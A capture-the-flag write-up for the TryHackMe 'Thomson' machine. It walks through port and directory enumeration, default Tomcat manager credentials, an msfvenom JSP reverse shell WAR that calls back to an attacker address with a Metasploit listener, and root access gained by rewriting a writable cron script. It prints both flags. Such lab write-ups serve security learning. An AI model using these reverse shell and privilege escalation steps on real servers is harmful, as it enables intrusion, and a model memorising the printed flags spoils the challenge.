Thomson TryHackMe Writeup

Overview

This challenge is a boot2root machine for FIT and BSides Guatemala CTF.

Initial Enumeration

Started by performing a basic port scan to identify open services:

nmap -sC -sV -p- 10.10.10.10

Discovered the following open ports:

22/tcp - SSH
8009/tcp - ajp13 Apache Jserv
8080/tcp - HTTP Apache Tomcat

Directory Enumeration

Performed directory and file enumeration:

gobuster dir -u http://10.10.10.10:8080 -w /usr/share/wordlists/dirb/common.txt

Discovered the following directories and files:

/docs (Status: 302)
/manager (Status: 302)
/examples (Status: 302)
/favicon.ico (Status: 200)
/ (Status: 200)
/index.jsp (Status: 200)
/build.xml (Status: 200)

Credential Discovery

Checked gobuster results with curl to investigate the manager endpoint:

curl -i http://10.10.10.10:8080/manager/html

Discovered the following response details:

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="Tomcat Manager Application"

Found credentials:

Username: tomcat
Password: s3cret
Role: manager-gui

Web Application Analysis

The web application was running Apache Tomcat/8.5.5. Searched for vulnerabilities specific to this version.

Identified the Apache Tomcat AJP File Read vulnerability (Ghostcat, CVE-2020-1938).

Apache Tomcat AJP File Read (Ghostcat)

Note: Used the found credentials to access the Tomcat Manager and deployed a malicious WAR file using Metasploit and msfvenom.

Exploitation

Created a JSP reverse shell in a WAR file using msfvenom:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.9.0.54 LPORT=4444 -f war -o shell.war

Metasploit Reverse Shell

Opened a listener in Metasploit:

msfconsole
use multi/handler
set payload java/jsp_shell_reverse_tcp
set LHOST 10.9.0.54
set LPORT 4444
run

Logged into the Tomcat Manager using credentials (tomcat:s3cret), uploaded shell.war, which automatically deployed to the server.

Navigated to /shell in the applications list to trigger the reverse shell.

Received a reverse shell in Metasploit:

sessions
sessions -i 1

Verified access:

whoami
id
ls -la

Flag Capture: user.txt

Located the user flag in /home/jack/user.txt:

cat /home/jack/user.txt

User Flag:

39400c90bc683a41a8935e4719f181bf

Flag Capture: root.txt

Identified a cron job running as root every minute, executing /home/jack/id.sh

cat /home/jack/id.sh

#!/bin/bash
id > test.txt

The script was writable. Modified it to read the root flag:

echo '#!/bin/bash\ncat /root/root.txt > test.txt' > id.sh

Waited for the cron job to execute. because its running every minute.

Checked test.txt for the flag.

cat test.txt

Root Flag:

d89d5391984c0450a95497153ae7ca3a

Lessons Learned

Secure configuration files to prevent credential exposure.
Regularly patch software to mitigate known vulnerabilities.
Restrict file permissions to prevent unauthorized modifications to scripts executed by cron jobs.
Implement least privilege principles for web application services.

Tools Used

Nmap - Port scanning and service enumeration
Gobuster - Directory and file enumeration
curl - HTTP request analysis
msfvenom - Payload creation (JSP reverse shell)
Metasploit - Reverse shell handling and exploitation

Thomson Writeup